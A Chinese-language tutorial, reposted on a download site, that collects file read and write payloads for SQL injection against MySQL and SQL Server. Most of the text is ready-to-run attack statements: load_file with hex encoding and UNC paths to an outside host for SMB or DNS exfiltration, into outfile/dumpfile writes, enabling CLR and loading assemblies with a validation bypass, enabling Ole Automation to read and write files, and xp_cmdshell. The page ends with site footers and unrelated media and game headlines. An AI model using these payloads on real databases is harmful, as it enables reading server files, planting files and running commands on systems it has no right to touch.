兴国资源网 Design By www.nnzcdc.com
前言
SQL注入有直接sql注入也有文件读写时的注入了我们这篇文章介绍的是SQL注入中的文件读写这一块的内容,具体的一起来看看。
一、MySQL
读文件
常见的读文件,可以用16进制代替字符串
select load_file('c:/boot.ini') select load_file(0x633a2f626f6f742e696e69) select load_file('//ecma.io/1.txt') # smb协议 select load_file('\\\\ecma.io\\1.txt') # 可用于DNS隧道
写文件
我暂时已知l两种写文件的方式
select 0x313233 into outfile 'D:/1.txt'
select 0x313233 into dumpfile 'D:/1.txt'
二、 SQL Server
读文件
1. BULK INSERT
create table result(res varchar(8000)); bulk insert result from 'd:/1.txt';
2. CLR集成
// 开启CLR集成 exec sp_configure 'show advanced options',1; reconfigure; exec sp_configure 'clr enabled',1 reconfigure
create assembly sqb from 'd:\1.exe' with permission_set=unsafe
上面一句可以利用create assembly函数从远程服务器加载任何.NET二进制文件到数据库中;但是他会验证是否为合法.NET程序,导致失败,下面是读取方式
select master.dbo.fn_varbintohexstr(cast(content as varbinary)) from sys.assembly_files
绕过,首先加载一个有效的.NET的二进制文件,然后追加文件即可,下面是绕过方法。
create assembly sqb from 'd:\net.exe'; alter assembly sqb add file from 'd:\1.txt' alter assembly sqb add file from 'd:\notnet.exe'
3. Script.FileSystemObject
# 开启Ole Automation Procedures sp_configure 'show advanced options',1; RECONFIGURE; sp_configure 'Ole Automation Procedures',1; RECONFIGURE;
declare @o int, @f int, @t int, @ret int declare @line varchar(8000) exec sp_oacreate 'scripting.filesystemobject',@o out exec sp_oamethod @o, 'opentextfile', @f out, 'd:\1.txt', 1 exec @ret = sp_onmethod @f, 'readline', @line out while(@ret = 0) begin print @line exec @ret = sp_oamethod @f, 'readline', @line out end
写文件
1. Script.FileSystemObject
declare @o int, @f int, @t int, @ret int declare @line varchar(8000) exec sp_oacreate 'scripting.filesystemobject',@o out exec sp_oamethod @o, 'createtextfile', @f out, 'e:\1.txt', 1 exec @ret = sp_oamethod @f, 'writeline', NULL ,'This is the test string'
2. BCP复制文件(测试失败,无bcp.exe)
c:\windows>system32>bcp "select name from sysobjects" query testout.txt -c -s 127.0.0.1 -U sa -p"sa"
3. xp_cmdshell
exec xp_cmdshell 'echo test>d:\1.txt'
三、Oracle
pass,Oracle太坑了~~~几乎都受到PL/SQL的限制,暂时不讨论
总结
以上就是关于SQL注入中文件的读写方法总结,希望本文的内容对大家的学习或者工作能带来一定的帮助,如果有疑问大家可以留言交流。
兴国资源网 Design By www.nnzcdc.com
广告合作:本站广告合作请联系QQ:858582 申请时备注:广告合作(否则不回)
免责声明:本站资源来自互联网收集,仅供用于学习和交流,请遵循相关法律法规,本站一切资源不代表本站立场,如有侵权、后门、不妥请联系本站删除!
免责声明:本站资源来自互联网收集,仅供用于学习和交流,请遵循相关法律法规,本站一切资源不代表本站立场,如有侵权、后门、不妥请联系本站删除!
兴国资源网 Design By www.nnzcdc.com
暂无评论...
更新日志
2024年04月29日
2024年04月29日
- 《芭比》导演执导 《纳尼亚传奇》新电影今夏开拍!
- 雷神瞳位置大全一览,2024雷神瞳位置
- 4.6版本四处宝藏位置介绍,探索新收集
- 4.6版本隐藏锚点位置一览,隐藏锚点在哪
- 群星.2024-追风者电视剧影视原声带【SONY】【FLAC分轨】
- 曾庆瑜.1992-18首中英文经典全集【派森】【WAV+CUE】
- 群星.1991-华纳浪漫心曲精丫华纳】【WAV+CUE】
- 幕府将军 Shogun
- 纳克鲁斯 Knuckles
- 特污兔《填空题》[FLAC/分轨][239.68MB]
- 陈奕迅《黑白灰》台湾版[WAV+CUE][400M]
- 群星《三大发烧女声》3CD[WAV+CUE][2G]
- 英雄传说闪之轨迹北方战役国际版 5月29日全球同步上市
- 仙剑世界风启测试定档5月31日 感受属于东方的浪漫幻想世界
- 元气骑士前传星界法师怎么玩 操控黑暗禁忌